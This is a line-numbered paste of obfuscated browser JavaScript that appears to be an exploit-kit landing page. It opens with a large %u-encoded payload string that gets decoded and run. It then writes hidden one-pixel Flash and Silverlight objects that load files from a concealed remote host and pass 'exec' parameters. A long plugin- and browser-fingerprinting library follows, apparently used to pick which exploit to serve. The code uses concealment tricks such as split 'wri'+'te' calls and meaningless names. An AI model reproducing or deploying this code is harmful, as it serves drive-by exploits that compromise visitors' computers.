1%u0101%u0101%u0C09%u0709%u010D%u0101%u0101%u0101%u0B07%u0101%u0106%u1010%u0706%u0D06%u0609%u010D%u1001%u0509%u0701%u0301%u0101%u0101%u080D%u0709%u050C%u0101%u0101%u0101%u0102%u0101%u0101%u0101%u0B07%u0101%u0E09%u0709%u050C%u0101%u0101%u0101%u0106%u1010%u070C%u010E%u0101%u0101%u0101%u0B07%u0101%u0B07%u0402%u1010%u070C%u010D%u0101%u0101%u0101%u1010%u0706%u0D07%u0609%u010D%u1001%u0509%u090E%u0201%u0101%u0101%u0C09%u0709%u010E%u0101%u0101%u0101%u0209%u0904%u0304%u0101%u0104%u0101%u1001%u0609%u070D%u0201%u0101%u0101%u0707%u0209%u0908%u0401%u0101%u0104%u1001%u0609%u0B0C%u0201%u0101%u0101%u080D%u0709%u090B%u0101%u0101%u0101%u0501%u0101%u0101%u0101%u0B07%u0101%u0E09%u0709%u090B%u0101%u0101%u0101%u0106%u0E09%u0709%u050B%u0101%u0101%u0101%u0106%u0B07%u0101%u0907%u0601%u0101%u0101%u0103%u1010%u070C%u010D%u0101%u0101%u0101%u1010%u0706%u0D07%u0609%u010D%u1001%u0509%u0909%u0201%u0101%u0101%u0B07%u0105%u0907%u0101%u0102%u0101%u0101%u1010%u070C%u050B%u0101%u0101%u0101%u0B07%u0101%u1010%u0706%u0903%u0609%u010D%u1001%u0509%u0F07%u0201%u0101%u0101%u0A09%u0709%u050A%u0101%u0101%u0101%u080D%u0709%u010B%u0101%u0101%u0101%u0101%u0101%u0101%u0101%u0E09%u0709%u0D0B%u0101%u0101%u0101%u0106%u1010%u070C%u050B%u0101%u0101%u0101%u1010%u070C%u050A%u0101%u0101%u0101%u1010%u070C%u010D%u0101%u0101%u0101%u1010%u0706%u0507%u0C09%u0709%u0D0B%u0101%u0101%u0101%u0201%u0709%u010B%u0101%u0101%u0101%u0409%u0910%u0101%u0C09%u0709%u010B%u0101%u0101%u0101%u0A09%u0709%u0D0A%u0101%u0101%u0101%u1010%u070C%u0109%u0101%u0101%u0101%u090F%u0904%u0301%u0101%u0101%u0409%u050D%u0501%u0C09%u0F0C%u050A%u0101%u0101%u0101%u0204%u0A0D%u0C04%u0F09%u010B%u0101%u0101%u0101%u0E08%u0E02%u0406%u0A09%u040D%u0204%u030E%u0A09%u090D%u0810%u0410%u0A09%u090E%u0C09%u0F0A%u0109%u0101%u0101%u0101%u0106%u0B09%u0501%u0402%u0104%u0501%u1001%u0906%u0C06%u0205%u0C0F%u0C0E%u0707%u0209%u1004%u010A%u010A%u0608%u0301%u1010%u080E%u0707%u0209%u1004%u0E05%u0B06%u1001%u0609%u090E%u0101%u0101%u0101%u0C09%u1006%u0D04%u0209%u0D04%u1002%u0106%u0605%u0101%u0101%u1001%u0609%u090D%u0101%u0101%u0101%u1010%u070C%u0509%u0101%u0101%u0101%u0907%u0501%u0201%u0101%u0101%u1010%u0706%u0503%u1010%u070C%u0909%u0101%u0101%u0101%u1010%u070C%u0509%u0101%u0101%u0101%u090F%u0304%u0301%u0101%u0101%u0409%u050D%u0901%u0B07%u0101%u0B07%u0101%u0B07%u0301%u0B07%u0101%u0B07%u0101%u0907%u0101%u0101%u0101%u010D%u1010%u070C%u0509%u0101%u0101%u0101%u1010%u0706%u0104%u0609%u010D%u1001%u0509%u0709%u0101%u0101%u0101%u0106%u0B07%u0101%u0A09%u040F%u0B07%u0101%u0406%u1010%u070C%u0D0A%u0101%u0101%u0101%u1010%u070C%u050A%u0101%u0101%u0101%u0106%u1010%u0706%u0504%u0906%u1010%u0706%u0904%u0C09%u0709%u0D09%u0101%u0101%u0101%u0204%u0C0E%u0A09%u0902%u1010%u070C%u050A%u0101%u0101%u0101%u090F%u1002%u0301%u0101%u0101%u0409%u050D%u0501%u0509%u010D%u0508%u0502%u1010%u070C%u010A%u0101%u0101%u0101%u1010%u070C%u0D09%u0101%u0101%u0101%u090F%u070D%u0201%u0101%u0101%u0409%u050D%u0901%u1010%u070C%u0509%u0101%u0101%u0101%u1010%u070C%u0D09%u0101%u0101%u0101%u090F%u030C%u0201%u0101%u0101%u0409%u050D%u0901%u090F%u0101%u0101%u0101%u0101%u0906%u0601%u0203%u0301%u0101%u0101%u0B07%u0101%u0A09%u040F%u0406%u0B07%u0101%u0706%u0106%u0B07%u0101%u0B07%u0101%u1010%u0706%u0D04%u0C06%u0609%u010D%u0508%u0701%u0B07%u1010%u0106%u1010%u0706%u0105%u0C0F%u0101%u0409%u050D%u0901%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0A09%u0608%u0D10%u0A09%u0606%u0910%u0A09%u0E05%u0510%u0409%u0D0F%u0102%u0204%u010D%u0507%u0C09%u0106%u0902%u0C09%u0306%u0104%u0C09%u0306%u0D01%u0C09%u0308%u0D02%u0A09%u0310%u0409%u0B10%u0101%u0508%u0404%u0C09%u0306%u0901%u0C09%u0B05%u0D04%u0E09%u0D01%u0B01%u0C09%u0A05%u0908%u0E09%u0D01%u0B01%u0C09%u0A05%u0D01%u0E09%u0501%u0B01%u0106%u1010%u0608%u0901%u090F%u0B10%u0101%u0101%u0101%u0409%u050D%u0901%u0509%u010D%u0508%u0F01%u0C04%u0702%u0608%u0501%u0204%u030E%u0C0F%u0701%u0C09%u0704%u0A09%u0310%u0C0F%u090D%u0A09%u010E%u0C0F%u0101%u0409%u050D%u0501%u0A06%u0B06%u0F06%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0C09%u0605%u0901%u0106%u1010%u0706%u0D02%u0C0F%u0101%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0C09%u0605%u0D01%u0C09%u0E06%u0901%u0106%u0406%u1010%u0706%u0103%u0C0F%u0101%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0A09%u0608%u0D10%u0A09%u0E08%u0910%u0A09%u0E05%u0510%u0A09%u0E06%u0110%u0409%u0D0F%u0902%u0204%u0A0D%u0C09%u0E06%u0901%u0C09%u0C05%u0D04%u0E09%u0D01%u0A02%u0C09%u0A05%u0908%u0E09%u0501%u0A02%u0C09%u0905%u0503%u0E09%u0D01%u0A02%u0A09%u0E05%u0D0F%u0C09%u0905%u0902%u0C09%u0108%u0D02%u0E09%u0504%u0F02%u0C09%u0908%u0103%u0E09%u0D04%u1002%u0409%u0607%u090F%u0101%u0409%u0A10%u0101%u0F08%u0503%u0806%u0C09%u1004%u0E09%u0D04%u0C04%u1010%u0608%u0D01%u0806%u090F%u0107%u0101%u0101%u0101%u0409%u050D%u0901%u1006%u0D04%u0101%u0608%u0301%u0C0F%u0C01%u0409%u080D%u0501%u0204%u010D%u1010%u0605%u090F%u0A05%u0C0F%u080E%u0C09%u0605%u090F%u0C09%u0E05%u0D0F%u0E09%u0501%u0205%u1001%u080C%u0101%u0E09%u0501%u0709%u0C09%u0101%u0E09%u0501%u0401%u0C0F%u0101%u0409%u050D%u0901%u0C06%u0A06%u1006%u0F06%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0A09%u0E06%u0D10%u0A09%u0E05%u0910%u0A09%u0608%u0510%u0409%u0D0F%u0102%u0C09%u0608%u0901%u0D10%u0D0B%u0509%u010D%u0608%u0C10%u0C03%u0608%u0901%u0A09%u0110%u0905%u0C0F%u0101%u0409%u050D%u0501%u0F06%u0A06%u0C06%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0A09%u0E06%u0D10%u0A09%u0E08%u0910%u0A09%u0606%u0510%u0409%u0D0F%u0102%u0C09%u0E06%u0901%u0C09%u0E08%u0D01%u0B09%u0401%u0509%u010D%u0508%u0B02%u0D04%u0207%u0D08%u0301%u0D03%u0103%u0B09%u0802%u0109%u0B10%u0207%u0D08%u0401%u0109%u0B0F%u0103%u0904%u010E%u0508%u0301%u0C0F%u0501%u0405%u0805%u0C0F%u010F%u0B09%u0801%u0C0F%u0101%u0409%u050D%u0501%u0B06%u1006%u0C06%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0A09%u0E05%u0D10%u0A09%u0E08%u0910%u0A09%u0608%u0510%u0409%u0D0F%u0102%u1010%u0608%u0901%u090F%u0D08%u1010%u1010%u1010%u0409%u050D%u0501%u0106%u1010%u0608%u0D01%u090F%u0108%u1010%u1010%u1010%u0409%u050D%u0501%u1006%u0401%u0E08%u0901%u0C09%u0608%u0D01%u0A09%u020D%u0D10%u0410%u050B%u0104%u010D%u0B0B%u0C0F%u0101%u0409%u050D%u0501%u0F06%u1006%u0A06%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0A09%u0E06%u0D10%u0A09%u0E05%u0910%u0A09%u0606%u0510%u0409%u0D0F%u0102%u0C09%u0E06%u0901%u0204%u030E%u0C09%u0406%u0D04%u0E09%u0D06%u0402%u0702%u0204%u0A0D%u0707%u0C09%u0C01%u0204%u010D%u0707%u0810%u020D%u0101%u0103%u1001%u060A%u010D%u0C0F%u0101%u0409%u050D%u0501%u0B06%u0A06%u0C06%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0C09%u0608%u0901%u0C09%u0705%u0D05%u0105%u0109%u0904%u040D%u0608%u0B10%u0106%u0C09%u0605%u0501%u0A09%u0605%u0901%u0C09%u0709%u0D09%u0101%u0101%u0101%u0A09%u0605%u0101%u080D%u0605%u0501%u0101%u0101%u0101%u0101%u1010%u0707%u0902%u0C0F%u0101%u0A09%u0D0F%u0E06%u040D';
  872.       Dh6QOpzOl59b7rM(L3lP8xjN2zbaU, H6TKi1mnySp1X3, ZIr5VU69Nd4o4, YLyIzVBMySSP);
  873.   }
  874.   if (window.sf325gtgs7sfdf1) {
  875.       var klfg1 = 'wri',
  876.           klfg2 = 'te';
  877.  
  878.       function getKolaio() {
  879.           return LtDSPf(tCazpqGh[3]);
  880.       }
  881.  
  882.       function getTxl(a) {
  883.           return LtDSPf(tCazpqGh[4]);
  884.       }
  885.  
  886.       function getData(a) {
  887.           return LtDSPf(tCazpqGh[5]);
  888.       }
  889.       var mirtul = "1";
  890.       var txt = '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess=always width="1" height="1" id="23kjsdf">';
  891.       txt = txt + '<param name="movie" value="http://' + getKolaio() + '/' + getTxl(mirtul) + '" />';
  892.       txt = txt + '<param name="play" value="true"/>';
  893.       txt = txt + '<param name=FlashVars value="exec=' + getData(mirtul) + '" />';
  894.       txt = txt + '<!--[if !IE]>-->';
  895.       txt = txt + '<object type="application/x-shockwave-flash" data="http://' + getKolaio() + '/' + getTxl(mirtul) + '" allowScriptAccess=always width="1" height="1">';
  896.       txt = txt + '<param name="movie" value="http://' + getKolaio() + '/' + getTxl(mirtul) + '" />';
  897.       txt = txt + '<param name="play" value="true"/>';
  898.       txt = txt + '<param name=FlashVars value="exec=' + getData(mirtul) + '" />';
  899.       txt = txt + '<!--<![endif]-->';
  900.       txt = txt + '<!--[if !IE]>--></object><!--<![endif]-->';
  901.       txt = txt + '</object>';
  902.       document[klfg1 + klfg2](txt);
  903.   }
  904.   if (window.sf325gtgs7sfds && !window.sf325gtgs7sfdf1) {
  905.       var klfg1 = 'wri',
  906.           klfg2 = 'te';
  907.  
  908.       function getKolaio() {
  909.           return LtDSPf(tCazpqGh[6]);
  910.       }
  911.  
  912.       function getTxl() {
  913.           return LtDSPf(tCazpqGh[7]);
  914.       }
  915.  
  916.       function getData() {
  917.           return LtDSPf(tCazpqGh[8]);
  918.       }
  919.       document[klfg1 + klfg2]('<form id="form1" runat="server" style="height: 100%"><div id="silverlightControlHost"><object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%"><param name="source" value="http://' + getKolaio() + '/' + getTxl() + '" /><param name="initParams" value="exteeec=' + getData() + '"/></object></div></form>');
  920.   }
  921.   var ldklfgo;
  922.   var klfg1 = 'wri',
  923.       klfg2 = 'te';
  924.   ldklfgo = {
  925.       isDefined: function(b) {
  926.           return typeof b != "undefined"
  927.       },
  928.       isArray: function(b) {
  929.           return (/array/i).test(Object.prototype.toString.call(b))
  930.       },
  931.       isFunc: function(b) {
  932.           return typeof b == "function"
  933.       },
  934.       isString: function(b) {
  935.           return typeof b == "string"
  936.       },
  937.       isNum: function(b) {
  938.           return typeof b == "number"
  939.       },
  940.       isStrNum: function(b) {
  941.           return (typeof b == "string" && (/\d/).test(b))
  942.       },
  943.       getNumRegx: /[\d][\d\.\_,\-]*/,
  944.       splitNumRegx: /[\.\_,\-]/g,
  945.       getNum: function(b, c) {
  946.           var d = this,
  947.               a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  948.           return a ? a[0] : null
  949.       },
  950.       compareNums: function(h, f, d) {
  951.           var e = this,
  952.               c, b, a, g = parseInt;
  953.           if (e.isStrNum(h) && e.isStrNum(f)) {
  954.               if (e.isDefined(d) && d.compareNums) {
  955.                   return d.compareNums(h, f)
  956.               }
  957.               c = h.split(e.splitNumRegx);
  958.               b = f.split(e.splitNumRegx);
  959.               for (a = 0; a < Math.min(c.length, b.length); a++) {
  960.                   if (g(c[a], 10) > g(b[a], 10)) {
  961.                       return 1
  962.                   }
  963.                   if (g(c[a], 10) < g(b[a], 10)) {
  964.                       return -1
  965.                   }
  966.               }
  967.           }
  968.           return 0
  969.       },
  970.       formatNum: function(b, c) {
  971.           var d = this,
  972.               a, e;
  973.           if (!d.isStrNum(b)) {
  974.               return null
  975.           }
  976.           if (!d.isNum(c)) {
  977.               c = 4
  978.           }
  979.           c--;
  980.           e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  981.           for (a = 0; a < 4; a++) {
  982.               if (/^(0+)(.+)$/.test(e[a])) {
  983.                   e[a] = RegExp.$2
  984.               }
  985.               if (a > c || !(/\d/).test(e[a])) {
  986.                   e[a] = "0"
  987.               }
  988.           }
  989.           return e.slice(0, 4).join(",")
  990.       },
  991.       getPROP: function(d, b, a) {
  992.           var c;
  993.           try {
  994.               if (d) {
  995.                   a = d[b]
  996.               }
  997.           } catch (c) {}
  998.           return a
  999.       },
  1000.       findNavPlugin: function(l, e, c) {
  1001.           var j = this,
  1002.               h = new RegExp(l, "i"),
  1003.               d = (!j.isDefined(e) || e) ? /\d/ : 0,
  1004.               k = c ? new RegExp(c, "i") : 0,
  1005.               a = navigator.plugins,
  1006.               g = "",
  1007.               f, b, m;
  1008.           for (f = 0; f < a.length; f++) {
  1009.               m = a[f].description || g;
  1010.               b = a[f].name || g;
  1011.               if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  1012.                   if (!k || !(k.test(m) || k.test(b))) {
  1013.                       return a[f]
  1014.                   }
  1015.               }
  1016.           }
  1017.           return null
  1018.       },
  1019.       getMimeEnabledPlugin: function(k, m, c) {
  1020.           var e = this,
  1021.               f, b = new RegExp(m, "i"),
  1022.               h = "",
  1023.               g = c ? new RegExp(c, "i") : 0,
  1024.               a, l, d, j = e.isString(k) ? [k] : k;
  1025.           for (d = 0; d < j.length; d++) {
  1026.               if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
  1027.                   l = f.description || h;
  1028.                   a = f.name || h;
  1029.                   if (b.test(l) || b.test(a)) {
  1030.                       if (!g || !(g.test(l) || g.test(a))) {
  1031.                           return f
  1032.                       }
  1033.                   }
  1034.               }
  1035.           }
  1036.           return 0
  1037.       },
  1038.       getVersionDelimiter: ",",
  1039.       findPlugin: function(d) {
  1040.           var c = this,
  1041.               b, d, a = {
  1042.                   status: -3,
  1043.                   plugin: 0
  1044.               };
  1045.           if (c.DOM) {
  1046.               c.DOM.initDiv()
  1047.           }
  1048.           if (!c.isString(d)) {
  1049.               return a
  1050.           }
  1051.           if (d.length == 1) {
  1052.               c.getVersionDelimiter = d;
  1053.               return a
  1054.           }
  1055.           d = d.toLowerCase().replace(/\s/g, "");
  1056.           b = c.Plugins[d];
  1057.           if (!b || !b.getVersion) {
  1058.               return a
  1059.           }
  1060.           a.plugin = b;
  1061.           a.status = 1;
  1062.           return a
  1063.       },
  1064.       AXO: window.ActiveXObject,
  1065.       getAXO: function(a) {
  1066.           var d = null,
  1067.               c, b = this;
  1068.           try {
  1069.               d = new b.AXO(a)
  1070.           } catch (c) {};
  1071.           return d
  1072.       },
  1073.       browser: {},
  1074.       INIT: function() {
  1075.           this.init.library(this)
  1076.       },
  1077.       init: {
  1078.           $: 1,
  1079.           hasRun: 0,
  1080.           objProperties: function(d, e, b) {
  1081.               var a, c = {};
  1082.               if (e && b) {
  1083.                   if (e[b[0]] === 1 && !d.isArray(e) && !d.isFunc(e) && !d.isString(e) && !d.isNum(e)) {
  1084.                       for (a = 0; a < b.length; a = a + 2) {
  1085.                           e[b[a]] = b[a + 1];
  1086.                           c[b[a]] = 1
  1087.                       }
  1088.                   }
  1089.                   for (a in e) {
  1090.                       if (!c[a] && e[a] && e[a][b[0]] === 1) {
  1091.                           this.objProperties(d, e[a], b)
  1092.                       }
  1093.                   }
  1094.               }
  1095.           },
  1096.           publicMethods: function(c, f) {
  1097.               var g = this,
  1098.                   b = g.$,
  1099.                   a, d;
  1100.               if (c && f) {
  1101.                   for (a in c) {
  1102.                       try {
  1103.                           if (b.isFunc(c[a])) {
  1104.                               f[a] = c[a](f)
  1105.                           }
  1106.                       } catch (d) {}
  1107.                   }
  1108.               }
  1109.           },
  1110.           plugin: function(a, c) {
  1111.               var d = this,
  1112.                   b = d.$;
  1113.               if (a) {
  1114.                   d.objProperties(b, a, ["$", b, "$$", a]);
  1115.                   if (!b.isDefined(a.getVersionDone)) {
  1116.                       a.installed = null;
  1117.                       a.version = null;
  1118.                       a.version0 = null;
  1119.                       a.getVersionDone = null;
  1120.                       a.pluginName = c
  1121.                   }
  1122.               }
  1123.           },
  1124.           detectIE: function() {
  1125.               var init = this,
  1126.                   $ = init.$,
  1127.                   browser = $.browser,
  1128.                   doc = document,
  1129.                   e, x, tmp, userAgent = navigator.userAgent || "",
  1130.                   progid, progid1, progid2;
  1131.               tmp = doc.documentMode;
  1132.               try {
  1133.                   doc.documentMode = ""
  1134.               } catch (e) {}
  1135.               var testIe = "/*@cc_on!@*/!1";
  1136.               browser.isIE = $.isNum(doc.documentMode) ? !0 : eval(testIe);
  1137.               try {
  1138.                   doc.documentMode = tmp
  1139.               } catch (e) {};
  1140.               browser.verIE = null;
  1141.               if (browser.isIE) {
  1142.                   browser.verIE = ($.isNum(doc.documentMode) && doc.documentMode >= 7 ? doc.documentMode : 0) || ((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(userAgent) ? parseFloat(RegExp.$1, 10) : 7)
  1143.               };
  1144.               browser.ActiveXEnabled = !1;
  1145.               browser.ActiveXFilteringEnabled = !1;
  1146.               if (browser.isIE) {
  1147.                   try {
  1148.                       browser.ActiveXFilteringEnabled = window.external.msActiveXFilteringEnabled()
  1149.                   } catch (e) {}
  1150.                   progid1 = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "TDCCtl.TDCCtl", "Shell.UIHelper", "HtmlDlgSafeHelper.HtmlDlgSafeHelper", "Scripting.Dictionary"];
  1151.                   progid2 = ["WMPlayer.OCX", "ShockwaveFlash.ShockwaveFlash", "AgControl.AgControl", ];
  1152.                   progid = progid1.concat(progid2);
  1153.                   for (x = 0; x < progid.length; x++) {
  1154.                       if ($.getAXO(progid[x])) {
  1155.                           browser.ActiveXEnabled = !0;
  1156.                           if (!$.dbug) {
  1157.                               break
  1158.                           }
  1159.                       }
  1160.                   }
  1161.                   if (browser.ActiveXEnabled && browser.ActiveXFilteringEnabled) {
  1162.                       for (x = 0; x < progid2.length; x++) {
  1163.                           if ($.getAXO(progid2[x])) {
  1164.                               browser.ActiveXFilteringEnabled = !1;
  1165.                               break
  1166.                           }
  1167.                       }
  1168.                   }
  1169.               }
  1170.           },
  1171.           detectNonIE: function() {
  1172.               var f = this,
  1173.                   d = this.$,
  1174.                   a = d.browser,
  1175.                   e = navigator,
  1176.                   c = a.isIE ? "" : e.userAgent || "",
  1177.                   g = e.vendor || "",
  1178.                   b = e.product || "";
  1179.               a.isGecko = (/Gecko/i).test(b) && (/Gecko\s*\/\s*\d/i).test(c);
  1180.               a.verGecko = a.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(c) ? RegExp.$1 : "0.9") : null;
  1181.               a.isChrome = (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(c);
  1182.               a.verChrome = a.isChrome ? d.formatNum(RegExp.$2) : null;
  1183.               a.isSafari = !a.isChrome && ((/Apple/i).test(g) || !g) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(c);
  1184.               a.verSafari = a.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(c) ? d.formatNum(RegExp.$1) : null;
  1185.               a.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(c);
  1186.               a.verOpera = a.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(c) || 1) ? parseFloat(RegExp.$1, 10) : null
  1187.           },
  1188.           library: function(c) {
  1189.               var e = this,
  1190.                   d = document,
  1191.                   b, a;
  1192.               c.init.objProperties(c, c, ["$", c]);
  1193.               for (a in c.Plugins) {
  1194.                   c.init.plugin(c.Plugins[a], a)
  1195.               }
  1196.               e.publicMethods(c.PUBLIC, c);
  1197.               c.win.init();
  1198.               e.detectIE();
  1199.               e.detectNonIE();
  1200.               c.init.hasRun = 1
  1201.           }
  1202.       },
  1203.       ev: {
  1204.           $: 1,
  1205.           handler: function(d, c, b, a) {
  1206.               return function() {
  1207.                   d(c, b, a)
  1208.               }
  1209.           },
  1210.           fPush: function(b, a) {
  1211.               var c = this,
  1212.                   d = c.$;
  1213.               if (d.isArray(a) && (d.isFunc(b) || (d.isArray(b) && b.length > 0 && d.isFunc(b[0])))) {
  1214.                   a.push(b)
  1215.               }
  1216.           },
  1217.           callArray: function(a) {
  1218.               var b = this,
  1219.                   d = b.$,
  1220.                   c;
  1221.               if (d.isArray(a)) {
  1222.                   while (a.length) {
  1223.                       c = a[0];
  1224.                       a.splice(0, 1);
  1225.                       b.call(c)
  1226.                   }
  1227.               }
  1228.           },
  1229.           call: function(d) {
  1230.               var b = this,
  1231.                   c = b.$,
  1232.                   a = c.isArray(d) ? d.length : -1;
  1233.               if (a > 0 && c.isFunc(d[0])) {
  1234.                   d[0](c, a > 1 ? d[1] : 0, a > 2 ? d[2] : 0, a > 3 ? d[3] : 0)
  1235.               } else {
  1236.                   if (c.isFunc(d)) {
  1237.                       d(c)
  1238.                   }
  1239.               }
  1240.           }
  1241.       },
  1242.       PUBLIC: {
  1243.           getVersion: function(b) {
  1244.               var a = function(h, e, d) {
  1245.                   var f = b.findPlugin(h),
  1246.                       g, c;
  1247.                   if (f.status < 0) {
  1248.                       return null
  1249.                   };
  1250.                   g = f.plugin;
  1251.                   if (g.getVersionDone != 1) {
  1252.                       g.getVersion(null, e, d);
  1253.                       if (g.getVersionDone === null) {
  1254.                           g.getVersionDone = 1
  1255.                       }
  1256.                   }
  1257.                   c = (g.version || g.version0);
  1258.                   c = c ? c.replace(b.splitNumRegx, b.getVersionDelimiter) : c;
  1259.                   return c
  1260.               };
  1261.               return a
  1262.           },
  1263.           onDetectionDone: function(b) {
  1264.               var a = function(j, h, d, c) {
  1265.                   var e = b.findPlugin(j),
  1266.                       k, g;
  1267.                   if (e.status == -3) {
  1268.                       return -1
  1269.                   }
  1270.                   g = e.plugin;
  1271.                   if (!b.isArray(g.funcs)) {
  1272.                       g.funcs = []
  1273.                   };
  1274.                   if (g.getVersionDone != 1) {
  1275.                       k = b.getVersion ? b.getVersion(j, d, c) : b.isMinVersion(j, "0", d, c)
  1276.                   }
  1277.                   if (g.installed != -0.5 && g.installed != 0.5) {
  1278.                       b.ev.call(h);
  1279.                       return 1
  1280.                   }
  1281.                   b.ev.fPush(h, g.funcs);
  1282.                   return 0
  1283.               };
  1284.               return a
  1285.           },
  1286.           hasMimeType: function(b) {
  1287.               var a = function(d) {
  1288.                   if (!b.browser.isIE && d && navigator && navigator.mimeTypes) {
  1289.                       var g, f, c, e = b.isArray(d) ? d : (b.isString(d) ? [d] : []);
  1290.                       for (c = 0; c < e.length; c++) {
  1291.                           if (b.isString(e[c]) && /[^\s]/.test(e[c])) {
  1292.                               g = navigator.mimeTypes[e[c]];
  1293.                               f = g ? g.enabledPlugin : 0;
  1294.                               if (f && (f.name || f.description)) {
  1295.                                   return g
  1296.                               }
  1297.                           }
  1298.                       }
  1299.                   }
  1300.                   return null
  1301.               };
  1302.               return a
  1303.           },
  1304.           z: 0
  1305.       },
  1306.       codebase: {
  1307.           $: 1,
  1308.           isDisabled: function() {
  1309.               var b = this,
  1310.                   c = b.$,
  1311.                   a = c.browser;
  1312.               return a.ActiveXEnabled && a.isIE && a.verIE >= 7 ? 0 : 1
  1313.           },
  1314.           init: function(e) {
  1315.               if (!e.init) {
  1316.                   var c = this,
  1317.                       d = c.$,
  1318.                       a, b;
  1319.                   e.init = 1;
  1320.                   e.min = 0;
  1321.                   e.max = 0;
  1322.                   e.hasRun = 0;
  1323.                   e.version = null;
  1324.                   e.L = 0;
  1325.                   e.altHTML = "";
  1326.                   e.span = document.createElement("span");
  1327.                   e.tagA = '<object width="1" height="1" style="display:none;" codebase="#version=';
  1328.                   b = e.classID || e.$$.classID || "";
  1329.                   e.tagB = '" ' + ((/clsid\s*:/i).test(b) ? 'classid="' : 'type="') + b + '">' + e.altHTML + "</object>";
  1330.                   for (a = 0; a < e.Lower.length; a++) {
  1331.                       e.Lower[a] = d.formatNum(e.Lower[a]);
  1332.                       e.Upper[a] = d.formatNum(e.Upper[a])
  1333.                   }
  1334.               }
  1335.           },
  1336.           isActiveXObject: function(i, b) {
  1337.               var f = this,
  1338.                   g = f.$,
  1339.                   a = 0,
  1340.                   h, d = i.$$,
  1341.                   c = i.span;
  1342.               if (i.min && g.compareNums(b, i.min) <= 0) {
  1343.                   return 1
  1344.               }
  1345.               if (i.max && g.compareNums(b, i.max) >= 0) {
  1346.                   return 0
  1347.               }
  1348.               c.innerHTML = i.tagA + b + i.tagB;
  1349.               if (g.getPROP(c.firstChild, "object")) {
  1350.                   a = 1
  1351.               };
  1352.               c.innerHTML = "";
  1353.               if (a) {
  1354.                   i.min = b
  1355.               } else {
  1356.                   i.max = b
  1357.               }
  1358.               return a
  1359.           },
  1360.           convert_: function(f, a, b, e) {
  1361.               var d = f.convert[a],
  1362.                   c = f.$;
  1363.               return d ? (c.isFunc(d) ? c.formatNum(d(b.split(c.splitNumRegx), e).join(",")) : b) : d
  1364.           },
  1365.           convert: function(h, c, g) {
  1366.               var e = this,
  1367.                   f = h.$,
  1368.                   b, a, d;
  1369.               c = f.formatNum(c);
  1370.               a = {
  1371.                   v: c,
  1372.                   x: -1
  1373.               };
  1374.               if (c) {
  1375.                   for (b = 0; b < h.Lower.length; b++) {
  1376.                       d = e.convert_(h, b, h.Lower[b]);
  1377.                       if (d && f.compareNums(c, g ? d : h.Lower[b]) >= 0 && (!b || f.compareNums(c, g ? e.convert_(h, b, h.Upper[b]) : h.Upper[b]) < 0)) {
  1378.                           a.v = e.convert_(h, b, c, g);
  1379.                           a.x = b;
  1380.                           break
  1381.                       }
  1382.                   }
  1383.               }
  1384.               return a
  1385.           },
  1386.           isMin: function(g, f) {
  1387.               var d = this,
  1388.                   e = g.$,
  1389.                   c, b, a = 0;
  1390.               d.init(g);
  1391.               return a
  1392.           },
  1393.           search: function(g) {
  1394.               var k = this,
  1395.                   h = k.$,
  1396.                   i = g.$$,
  1397.                   b = 0,
  1398.                   c;
  1399.               k.init(g);
  1400.               c = (g.hasRun || k.isDisabled()) ? 1 : 0;
  1401.               g.hasRun = 1;
  1402.               if (c) {
  1403.                   return g.version
  1404.               };
  1405.               var o, n, m, j = function(q, t) {
  1406.                       var r = [].concat(f),
  1407.                           s;
  1408.                       r[q] = t;
  1409.                       s = k.isActiveXObject(g, r.join(","));
  1410.                       if (s) {
  1411.                           b = 1;
  1412.                           f[q] = t
  1413.                       } else {
  1414.                           p[q] = t
  1415.                       }
  1416.                       return s
  1417.                   },
  1418.                   d = g.DIGITMAX,
  1419.                   e, a, l = 99999999,
  1420.                   f = [0, 0, 0, 0],
  1421.                   p = [0, 0, 0, 0];
  1422.               for (o = 0; o < p.length; o++) {
  1423.                   f[o] = Math.floor(g.DIGITMIN[o]) || 0;
  1424.                   e = f.join(",");
  1425.                   a = f.slice(0, o).concat([l, l, l, l]).slice(0, f.length).join(",");
  1426.                   for (m = 0; m < d.length; m++) {
  1427.                       if (h.isArray(d[m])) {
  1428.                           d[m].push(0);
  1429.                           if (d[m][o] > p[o] && h.compareNums(a, g.Lower[m]) >= 0 && h.compareNums(e, g.Upper[m]) < 0) {
  1430.                               p[o] = Math.floor(d[m][o])
  1431.                           }
  1432.                       }
  1433.                   }
  1434.                   for (n = 0; n < 30; n++) {
  1435.                       if (p[o] - f[o] <= 16) {
  1436.                           for (m = p[o]; m >= f[o] + (o ? 1 : 0); m--) {
  1437.                               if (j(o, m)) {
  1438.                                   break
  1439.                               }
  1440.                           }
  1441.                           break
  1442.                       }
  1443.                       j(o, Math.round((p[o] + f[o]) / 2))
  1444.                   }
  1445.                   if (!b) {
  1446.                       break
  1447.                   }
  1448.                   p[o] = f[o]
  1449.               }
  1450.               if (b) {
  1451.                   g.version = k.convert(g, f.join(",")).v
  1452.               };
  1453.               return g.version
  1454.           }
  1455.       },
  1456.       win: {
  1457.           $: 1,
  1458.           loaded: false,
  1459.           hasRun: 0,
